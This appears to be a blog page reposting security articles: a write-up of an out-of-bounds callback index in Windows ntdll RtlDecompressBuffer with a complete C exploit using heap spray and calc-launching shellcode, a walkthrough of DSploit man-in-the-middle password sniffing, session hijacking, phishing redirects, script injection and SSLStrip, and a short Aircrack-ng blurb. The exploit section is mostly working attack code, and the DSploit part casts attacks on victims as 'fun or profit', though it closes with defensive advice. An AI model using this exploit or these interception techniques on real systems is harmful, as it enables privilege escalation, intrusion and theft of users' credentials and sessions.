Technology News

skyy

Introduction

The RtlDecompressBuffer is a WinAPI implemented on ntdll that is often used by browsers and applications and also by malware to decompress buffers compressed on LZ algorithms for example LZNT1.

The first parameter of this function is a number that represents the algorithm to use in the decompression, for example the 2 is the LZNT1. This algorithm switch is implemented as a callback table with the pointers to the algorithms, so the boundaries of this table must be controlled for avoiding situations where the execution flow is redirected to unexpected places, specially controlled heap maps.

The algorithms callback table

Notice the five nops at the end probably for adding new algorithms in the future.

The way to jump to this pointers depending on the algorithm number is:
call RtlDecompressBufferProcs[eax*4]

The bounrady checks

We control eax because is the algorithm number, but the value of eax is limited, let's see the boudary checks:

int  RtlDecompressBuffer(unsigned __int8 algorithm, int a2, int a3, int a4, int a5, int a6) {   int result; // eax@4    if ( algorithm & algorithm != 1 )   {     if ( algorithm & 0xF0 )       result = -1073741217;     else       result = ((int (__stdcall *)(int, int, int, int, int))RtlDecompressBufferProcs[algorithm])(a2, a3, a4, a5, a6);   }   else   {     result = -1073741811;   }   return result; }

Regarding that decompilation seems that we can only select algorithm number from 2 to 15, regarding that the algorithm 9 is allowed and will jump to 0x90909090, but we can't control that addess.

let's check the disassembly on Win7 32bits:

the movzx limits the boundaries to 16bits
the test ax, ax avoids the algorithm 0
the cmp ax, 1 avoids the algorithm 1
the test al, 0F0h limits the boundary .. wait .. al?

Let's calc the max two bytes number that bypass the test al, F0h

unsigned int max(void) {
__asm__("xorl %eax, %eax");
__asm__("movb $0xff, %ah");
__asm__("movb $0xf0, %al");
}

int main(void) {
printf("max: %u\n", max());
}

The value is 65520, but the fact is that is simpler than that, what happens if we put the algorithm number 9?

So if we control the algorithm number we can redirect the execution flow to 0x55ff8890 which can be mapped via spraying.

Proof of concept

This exploit code, tells to the RtlDecompresBuffer to redirect the execution flow to the address 0x55ff8890 where is a map with the shellcode. To reach this address the heap is sprayed creating one Mb chunks to reach this address.

The result on WinXP:

The result on Win7 32bits:

And the exploit code:

/*     ntdll!RtlDecompressBuffer() vtable exploit + heap spray     by @sha0coder  */  #include  #include  #include   #define KB  1024 #define MB  1024*KB #define BLK_SZ 4096 #define ALLOC 200 #define MAGIC_DECOMPRESSION_AGORITHM 9  // WinXP Calc shellcode from http://shell-storm.org/shellcode/files/shellcode-567.php /* unsigned char shellcode[] = "\xeB\x02\xBA\xC7\x93" "\xBF\x77\xFF\xD2\xCC" "\xE8\xF3\xFF\xFF\xFF" "\x63\x61\x6C\x63"; */  // https://packetstormsecurity.com/files/102847/All-Windows-Null-Free-CreateProcessA-Calc-Shellcode.html char *shellcode =        "\x31\xdb\x64\x8b\x7b\x30\x8b\x7f"        "\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b"        "\x77\x20\x8b\x3f\x80\x7e\x0c\x33"        "\x75\xf2\x89\xc7\x03\x78\x3c\x8b"        "\x57\x78\x01\xc2\x8b\x7a\x20\x01"        "\xc7\x89\xdd\x8b\x34\xaf\x01\xc6"        "\x45\x81\x3e\x43\x72\x65\x61\x75"        "\xf2\x81\x7e\x08\x6f\x63\x65\x73"        "\x75\xe9\x8b\x7a\x24\x01\xc7\x66"        "\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7"        "\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9"        "\xb1\xff\x53\xe2\xfd\x68\x63\x61"        "\x6c\x63\x89\xe2\x52\x52\x53\x53"        "\x53\x53\x53\x53\x52\x53\xff\xd7";   PUCHAR landing_ptr = (PUCHAR)0x55ff8b90; // valid for Win7 and WinXP 32bits  void fail(const char *msg) {   printf("%s\n\n", msg);   exit(1); }  PUCHAR spray(HANDLE heap) {   PUCHAR map = 0;    printf("Spraying ...\n");   printf("Aproximating to %p\n", landing_ptr);    while (map < landing_ptr-1*MB) {     map = HeapAlloc(heap, 0, 1*MB);   }    //map = HeapAlloc(heap, 0, 1*MB);    printf("Aproximated to [%x - %x]\n", map, map+1*MB);     printf("Landing adddr: %x\n", landing_ptr);   printf("Offset of landing adddr: %d\n", landing_ptr-map);    return map; }  void landing_sigtrap(int num_of_traps) {   memset(landing_ptr, 0xcc, num_of_traps); }  void copy_shellcode(void) {   memcpy(landing_ptr, shellcode, strlen(shellcode));  }  int main(int argc, char **argv) {   FARPROC RtlDecompressBuffer;   NTSTATUS ntStat;   HANDLE heap;   PUCHAR compressed, uncompressed;   ULONG compressed_sz, uncompressed_sz, estimated_uncompressed_sz;    RtlDecompressBuffer = GetProcAddress(LoadLibraryA("ntdll.dll"), "RtlDecompressBuffer");    heap = GetProcessHeap();    compressed_sz = estimated_uncompressed_sz = 1*KB;    compressed = HeapAlloc(heap, 0, compressed_sz);    uncompressed = HeapAlloc(heap, 0, estimated_uncompressed_sz);     spray(heap);   copy_shellcode();   //landing_sigtrap(1*KB);   printf("Landing ...\n");    ntStat = RtlDecompressBuffer(MAGIC_DECOMPRESSION_AGORITHM, uncompressed, estimated_uncompressed_sz, compressed, compressed_sz, &uncompressed_sz);    switch(ntStat) {     case STATUS_SUCCESS:       printf("decompression Ok!\n");       break;      case STATUS_INVALID_PARAMETER:       printf("bad compression parameter\n");       break;       case STATUS_UNSUPPORTED_COMPRESSION:       printf("unsuported compression\n");       break;      case STATUS_BAD_COMPRESSION_BUFFER:       printf("Need more uncompressed buffer\n");       break;      default:       printf("weird decompression state\n");       break;   }    printf("end.\n"); }

The attack vector


  This API is called very often in the windows system, and also is called by browsers, but he attack vector is not common, because the apps that call this API trend to hard-code the algorithm number, so in a normal situation we don't control the algorithm number. But if there is a privileged application service or a driver that let to switch the algorithm number, via ioctl, config, etc. it can be used to elevate privileges on win7

Related links

skyy

DSploit

After playing with the applications installed on the Pwn Pad, I found that the most important application (at least for me) was missing from the pre-installed apps. Namely, DSploit. Although DSploit has tons of features, I really liked the multiprotocol password sniffing (same as dsniff) and the session hijacking functionality.

The DSploit APK in the Play Store was not working for me, but the latest nightly on http://dsploit.net worked like a charm.

Most features require that you and your target uses the same WiFi network, and that's it. It can be Open, WEP, WPA/WPA2 Personal. On all of these networks, DSploit will sniff the passwords - because of the active attacks. E.g. a lot of email clients still use IMAP with clear text passwords, or some webmails, etc.

First, DSploit lists the AP and the known devices on the network. In this case, I chose one victim client.

In the following submenu, there are tons of options, but the best features are in the MITM section.

Stealthiness warning: in some cases, I received the following popup on the victim Windows:

This is what we have under the MITM submenu:

Password sniffing

For example, let's start with the Password Sniffer. It is the same as EvilAP and DSniff in my previous post. With the same results for the popular Hungarian webmail with the default secure login checkbox turned off. Don't forget, this is not an Open WiFi network, but one with WPA2 protection!

Session hijack

Now let's assume that the victim is very security-aware and he checks the secure login checkbox. Another cause can be that the victim already logged in, long before we started to attack. The session hijacking function is similar to the Firesheep tool, but it works with every website where the session cookies are sent in clear text, and there is no need for any additional support.

In a session hijacking attack (also called "sidejacking"), after the victim browser sends the authentication cookies in clear text, DSploit copies these cookies into its own browser, and opens the website with the same cookies, which results in successful login most of the time. Let's see session hijacking in action!

Here, we can see that the session cookies have been sniffed from the air:

Let's select that session, and be amazed that we logged into the user's webmail session.

Redirect traffic

This feature can be used both for fun or profit. For fun, you can redirect all the victim traffic to http://www.kittenwar.com/. For-profit, you can redirect your victim to phishing pages.

Replace images, videos

I think this is just for fun here. Endless Rick Rolling possibilities.

Script injection

This is mostly for profit. client-side injection, drive-by-exploits, endless possibilities.

Custom filter

If you are familiar with ettercap, this has similar functionalities (but dumber), with string or regex replacements. E.g. you can replace the news, stock prices, which pizza the victim ordered, etc. If you know more fun stuff here, please leave a comment (only HTTP scenario - e.g. attacking Facebook won't work).

Additional fun (not in DSploit) - SSLStrip

From the MITM section of DSploit, I really miss the SSLStrip functionality. Luckily, it is built into the Pwn Pad. With the help of SSLStrip, we can remove the references to HTTPS links in the clear text HTTP traffic, and replace those with HTTP. So even if the user checks the secure login checkbox at freemail.hu, the password will be sent in clear text - thus it can be sniffed with DSniff.

HTML source on the client-side without SSLstrip:

HTML source on the client-side with SSL strip:

With EvilAP, SSLStrip, and DSniff, the password can be stolen. No hacking skillz needed.

Lessons learned here

If you are a website operator where you allow your users to login, always:

Use HTTPS with a trusted certificate, and redirect all unencrypted traffic to HTTPS ASAP
Mark the session cookies with the secure flag
Use HSTS to prevent SSLStrip attacks

If you are a user:

Don't trust sites with your confidential data if the above points are not fixed. Choose a more secure alternative
Use HTTPS everywhere plugin
For improved security, use VPN

Because hacking has never been so easy before.
And last but not least, if you like the DSploit project, don't forget to donate them!

More articles

skyy

"Aircrack-ng is an 802.11 WEP and WPA-PSK keys cracking program that can recover keys once enough data packets have been captured. It implements the standard FMS attack along with some optimizations like KoreK attacks, as well as the all-new PTW attack, thus making the attack much faster compared to other WEP cracking tools. In fact, Aircrack-ng is a set of tools for auditing wireless networks." read more...

Website: http://www.aircrack-ng.org

Technology News

Friday, June 2, 2023

RtlDecompresBuffer Vulnerability

Related links

Thursday, June 1, 2023

DSploit

DSploit

Password sniffing

Session hijack

Redirect traffic

Replace images, videos

Script injection

Custom filter

Additional fun (not in DSploit) - SSLStrip

Lessons learned here

Aircrack-ng: The Next Generation Of Aircrack

More info

Blog Archive

Followers

Blog List